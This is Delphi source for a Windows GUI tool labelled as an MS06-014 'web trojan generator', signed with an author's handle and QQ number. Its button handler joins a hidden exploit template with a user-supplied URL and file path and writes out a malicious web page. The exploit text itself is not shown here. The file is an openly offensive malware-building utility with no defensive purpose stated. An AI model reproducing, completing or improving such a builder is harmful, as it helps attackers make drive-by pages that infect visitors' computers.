unit1.pas

MS06-014网页木马生成器

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls;

type
  TForm1 = class(TForm)
    Memo1: TMemo;
    Memo2: TMemo;
    Button1: TButton;
    Edit1: TEdit;
    Edit2: TEdit;
    Button2: TButton;
    Label1: TLabel;
    Label2: TLabel;
    SaveDialog1: TSaveDialog;
    Label3: TLabel;
    procedure Button2Click(Sender: TObject);
    procedure Button1Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.Button2Click(Sender: TObject);
begin
showmessage('Code by 无敌小龙 QQ：5450913');
end;

procedure TForm1.Button1Click(Sender: TObject);
var
a:textfile;
s,s2:string;
begin
if savedialog1.Execute then   //打开保存对话框
   begin
      assignfile(a,savedialog1.filename);   //打开文件
      rewrite(a);                           //写操作

      s:=trim(memo1.text)+trim(edit1.text)+'"';      //组合网马的第一部分
      s2:='path="'+trim(edit2.text)+trim(memo2.text); //组合网马的第二部分

      write(a,s); //写入第一部分的内容
      writeln(a); //写入一个空行
      write(a,s2);//写入第二部分内容

      closefile(a);  //网马写操作完毕，现在关闭文件
   end
else
   showmessage('保存错误！');
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
memo1.Visible:=false;
memo2.Visible:=false;
end;

end.